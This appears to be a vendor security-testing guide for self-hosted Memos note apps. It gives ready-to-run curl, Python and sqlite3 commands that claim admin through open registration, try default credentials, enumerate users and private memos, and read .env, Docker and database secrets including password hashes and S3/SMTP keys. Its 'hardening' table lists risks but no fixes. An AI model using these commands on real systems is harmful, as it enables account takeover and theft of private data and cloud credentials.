Memos Security Testing: Default Credentials, API Key, Database, and .env JWT Secret

Memos is a widely deployed open-source lightweight note-taking and knowledge capture platform (self-hosted Twitter/micro-blog alternative) — it stores personal and team notes, thoughts, and knowledge snippets often including sensitive information. The critical risk: the first registered user on a fresh Memos installation automatically becomes the admin — if registration is left open, any visitor can claim admin by being first. Key assessment areas also include: JWT tokens sign all API authentication; the API provides access to all memos including private ones via admin token; SQLite (or PostgreSQL) stores all memo content; and public memo configurations may leak private content via search indexing. This guide covers systematic Memos security assessment.

Table of Contents

  1. Open Registration and Authentication Testing
  2. API Memo and Resource Enumeration
  3. JWT Secret and Database Extraction
  4. Memos Security Hardening

Open Registration and Authentication Testing

# Memos — open registration and authentication testing
MEMOS_URL="https://memos.example.com"

# Check if registration is open and instance status
curl -s "${MEMOS_URL}/api/v1/workspace/profile" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Instance owner: {d.get(\"owner\",\"\")}')
print(f'Version: {d.get(\"version\",\"\")}')
print(f'Mode: {d.get(\"mode\",\"\")}')
" 2>/dev/null

# Check if registration is still open
STATUS=$(curl -s -X POST "${MEMOS_URL}/api/v1/auth/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"test_probe","password":"test_probe_pw_123"}' 2>/dev/null)
echo "Registration status: $(echo $STATUS | python3 -c "import json,sys; d=json.load(sys.stdin); print('OPEN' if d.get('username') else 'CLOSED: '+str(d.get('message','')))" 2>/dev/null)"

# Authenticate and get JWT token
AUTH=$(curl -s -X POST "${MEMOS_URL}/api/v1/auth/signin" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('accessToken','')
u = d.get('user',{})
if t:
    print(f'TOKEN={t}')
    print(f'User: {u.get(\"username\")} role={u.get(\"role\")} id={u.get(\"id\")}')
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Auth result: ${TOKEN}"

# Test with JWT token from .env or captured from browser
JWT_TOKEN="your-memos-jwt-token"
curl -s "${MEMOS_URL}/api/v1/users/me" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"username\")} role={d.get(\"role\")} email={d.get(\"email\",\"\")}')
" 2>/dev/null

API Memo and Resource Enumeration

# Memos API — memo and resource enumeration
MEMOS_URL="https://memos.example.com"
JWT_TOKEN="your-memos-jwt-token"

# Get all memos for the authenticated user
curl -s "${MEMOS_URL}/api/v1/memos?pageSize=50" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
memos = d.get('memos',[])
print(f'Memos: {len(memos)} (page of results)')
for m in memos[:10]:
    content_preview = m.get('content','')[:80].replace('\n',' ')
    print(f'  [{m.get(\"uid\",\"\")[:8]}] vis={m.get(\"visibility\")} created={str(m.get(\"createTime\",\"\"))[:10]}')
    print(f'    Content: {content_preview}')
" 2>/dev/null

# As admin: enumerate ALL users' memos (including private ones)
# Admin token grants access to all memos across all users
curl -s "${MEMOS_URL}/api/v1/memos?filter=visibilities%3DPRIVATE&pageSize=100" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
memos = d.get('memos',[])
print(f'Private memos visible: {len(memos)}')
for m in memos[:5]:
    print(f'  Owner: {m.get(\"creator\",\"\")} content: {m.get(\"content\",\"\")[:60]}')
" 2>/dev/null

# Get all users
curl -s "${MEMOS_URL}/api/v1/users" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} role={u.get(\"role\")} email={u.get(\"email\",\"\")}')
" 2>/dev/null

# Get all resources (uploaded files and attachments)
curl -s "${MEMOS_URL}/api/v1/resources" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
resources = d.get('resources',[])
print(f'Resources: {len(resources)}')
for r in resources[:10]:
    print(f'  {r.get(\"filename\",\"\")} type={r.get(\"type\",\"\")} size={r.get(\"size\")} created={str(r.get(\"createTime\",\"\"))[:10]}')
" 2>/dev/null

# Get system settings (admin only)
curl -s "${MEMOS_URL}/api/v1/workspace/setting" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# May include S3 storage config, webhook URLs, SMTP settings
print('Workspace settings:')
for k,v in d.items():
    print(f'  {k}: {str(v)[:80]}')
" 2>/dev/null

JWT Secret and Database Extraction

# Memos JWT secret and database extraction

# .env / command flags — Memos configuration
# Memos is configured via command-line flags or environment
cat /etc/memos/.env 2>/dev/null | grep -E "DSN|SECRET|STORAGE|SMTP"
# DSN — database connection string (sqlite:///var/opt/memos/memos.db or postgresql://...)

# Docker environment variables and command
docker inspect memos 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    # Check Cmd for command-line args
    cmd = c.get('Config',{}).get('Cmd',[])
    print('Command args:')
    for arg in cmd:
        print(f'  {arg}')
    print('Env vars:')
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['DSN','SECRET','STORAGE','SMTP','PASSWORD']):
            print(f'  {e}')
" 2>/dev/null

# SQLite database (common default path)
MEMOS_DB="/var/opt/memos/memos.db"
sqlite3 "$MEMOS_DB" 2>/dev/null << 'EOF'
-- All users with password hashes
SELECT id, username, role, email, password_hash, created_ts, updated_ts
FROM user
ORDER BY role DESC, created_ts ASC
LIMIT 10;
EOF

-- All memos including private ones
sqlite3 "$MEMOS_DB" 2>/dev/null << 'EOF'
SELECT m.id, m.content, m.visibility, m.creator_id,
       m.created_ts, m.row_status,
       u.username as author
FROM memo m
LEFT JOIN user u ON m.creator_id = u.id
WHERE m.row_status = 'NORMAL'
ORDER BY m.created_ts DESC
LIMIT 20;
EOF
-- visibility: PUBLIC/PROTECTED/PRIVATE — admin can read all regardless

-- System settings (may contain storage credentials)
sqlite3 "$MEMOS_DB" 2>/dev/null << 'EOF'
SELECT id, name, value FROM system_setting;
EOF
-- May contain StorageS3Config with AWS access key/secret
-- May contain SmtpMailConfig with email credentials

Memos Security Hardening

Memos Security Hardening Checklist:
Security TestMethodRisk
First-user admin via open registrationPOST /api/v1/auth/signup — if registration is open, register as first user to claim admin role; immediate admin access to all memos, users, and system settings without any prior credentialsCritical
Private memo content extraction via admin APIGET /api/v1/memos?filter=visibilities=PRIVATE — admin token reads all private memos across all users; personal notes, passwords, sensitive business content, and private correspondenceHigh
SQLite database file direct accessRead /var/opt/memos/memos.db — all users with password hashes, all memo content regardless of visibility setting, system_setting table with S3/SMTP credentials; complete data access without API authenticationHigh
System settings S3 and SMTP credential extractionGET /api/v1/workspace/setting or SELECT value FROM system_setting WHERE name='StorageS3Config' — AWS access key and secret for file upload storage; SMTP credentials for email deliveryHigh
User enumeration for targeted attacksGET /api/v1/users — all platform users with usernames, emails, and roles; enables targeted phishing or credential stuffing against Memos admin accountsMedium

Automate Memos Security Testing

Ironimo tests Memos deployments for first-user admin registration via open registration endpoint, private memo content extraction via admin API, SQLite memos.db direct file access for all content, system settings S3 and SMTP credential extraction, user enumeration, resource/attachment file enumeration, JWT token extraction from environment, Docker DSN database path exposure, public memo search engine indexing assessment, and PROTECTED memo access boundary testing.

Start free scan